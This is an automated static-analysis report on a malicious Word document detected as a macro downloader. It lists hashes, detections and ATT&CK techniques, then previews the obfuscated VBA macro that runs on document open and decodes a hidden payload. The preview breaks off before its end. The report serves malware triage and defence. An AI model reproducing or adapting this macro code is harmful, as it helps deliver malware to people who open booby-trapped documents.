Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2101f58099128c11…

MALICIOUS

Office (OLE)

304.0 KB Created: 2018-02-13 15:38:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 35d33a716be6b42a3ab9403c3ff30958 SHA-1: 9c308bf484457f462deb7bc199ed79035ab5eb20 SHA-256: 2101f58099128c1192da4373458e425e816fe3761bc2834423dfdb3944a939fe
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a critical ClamAV detection for 'Doc.Downloader.Macro-6539595-0', indicating it is a macro-based downloader. The presence of a 'Document_Open' macro further supports this, as it is designed to execute malicious code automatically when the document is opened. The VBA script is heavily obfuscated but its structure and the heuristic firings strongly suggest it is intended to download and execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45246 bytes
SHA-256: 98606582b39d4b7dce364d19f2416c444e4467dc0380383035a93a065114a992
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
Dim axseed As String
Dim tuberculous As Variant
malacca = "snobbery"
neutralize
franc = 57 + 4
 Pmt 0, franc, 27736, 19208, 2
End Sub








Attribute VB_Name = "waterleaf"

Function obligor(boner, acanthocytosis, affectioned)
Dim scatter As Variant
Dim connect As Byte
Dim simagre As LongPtr
Dim eldest As LongPtr
Dim deipnosophist As LongPtr
Dim canteen As Integer
Dim camorra As LongPtr
Dim icon As LongPtr
changer = Rnd(157)
aught = "lithophyte"
eldest = boner
icon = affectioned
pampered = Rnd(185)
camorra = acanthocytosis
ballade = 7 + 27
 Pmt 0, ballade, 11265, 53576, 2

aught = adjudicate
simagre = 59 - 5 - 55
egression ByVal simagre, _
eldest, _
camorra, icon, _
deipnosophist
pampered = changer And 145
End Function
Function torment(profligately) As String
Dim probat As Long
Dim ballotbox As Integer
Dim assigns(63) As Long
adjudicate = "maigre"
Dim park As Long
Dim cursorily(63) As Long
Dim embothrium As Long
Dim conveyer(6962) As Byte
Dim keen As Long
Dim volatility() As Byte
Dim oxyuranus(63) As Long
Dim popeyed As String
Dim farout As Variant

early = 121 - 66 + 65225
Dim crouch As Integer

crepis = 85 - 101 + 272
sold = 113 - 40 + 257975
deliciously = 85 - 42 + 65493
affably = 85 - 92 + 16711687
influence = 29 - 11 + 46
graduality = 6 - 5 + 4095
distress = 127 - 11 + 262028
tetrahymena = 26 - 96 + 16515142
afric = 92 - 22 + 185
Dim narc As Integer

conglobation = 110 - 81 + 34
dacoit = 87 - 31 + 3976
Dim flub As Variant
entoproct = 48 - 1 + 7796
Dim basidiolichen() As Byte
basidiolichen = VBA.StrConv(profligately, 120 + 8)
shutterbug = 50 + 37
 Pmt 0, shutterbug, 12646, 42530, 4

faible = 7843
dowry = vbKeyShift - 12
For edified = 0 To faible
If edified Mod 2 = 0 Then
basidiolichen(edified) = basidiolichen(edified) - dowry
Else
basidiolichen(edified) = basidiolichen(edified) - (dowry - 1)
End If
Next edified
charabancs = 7 + 52
 Pmt 0, charabancs, 18256, 15478, 6

ballotbox = 0
medica = persuasively
For embothrium = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
cursorily(embothrium) = abovementioned(embothrium, influence, 37)
assigns(embothrium) = abovementioned(embothrium, graduality, 37)
oxyuranus(embothrium) = abovementioned(embothrium, distress, 37)
Next embothrium
typescript = 47 + 53
 Pmt 0, typescript, 31672, 52029, 5

volatility = basidiolichen
cdrom = 68 - 124 + 60
nonaligned = 31 + 31
 Pmt 0, nonaligned, 32265, 35330, 6

ceratonia = 124 - 99 - 22
adjudicate = cran

electromyography = "prostitution"

cockade = ceratonia + 1
meretriciously = 2 - 21 + 21
For keen = 0 To faible
strephon = volatility(keen)
dictatorially = volatility(keen + 2)
muraenidae = assigns(medica(volatility(keen + 1)))
counterrevolutionist = cursorily(medica(dictatorially)) + medica(volatility(keen + ceratonia))
probat = oxyuranus(medica(strephon)) + muraenidae + counterrevolutionist
embothrium = abovementioned(probat, affably, 29)
conveyer(park) = abovementioned(embothrium, deliciously, 19)
embothrium = abovementioned(probat, early, 29)
conveyer(park + 1) = abovementioned(embothrium, crepis, 19)
conveyer(park + meretriciously) = abovementioned(probat, afric, 29)
park = park + meretriciously + 1
keen = keen + 3
Next
torment = conveyer
End Function



Attribute VB_Name = "donne"
Attribute VB_Base = "0{0DAD7B0A-A04B-4687-B9DF-45742CBD983C}{822DDA5B-3BDB-46AC-92C5-1383A4AEE7E7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zodone"
#If (55 - 126 + 471 + 43 - 58 + 315) > ((70 - 74 + 324) - (14 - 60 + 586) * 1) And
... (truncated)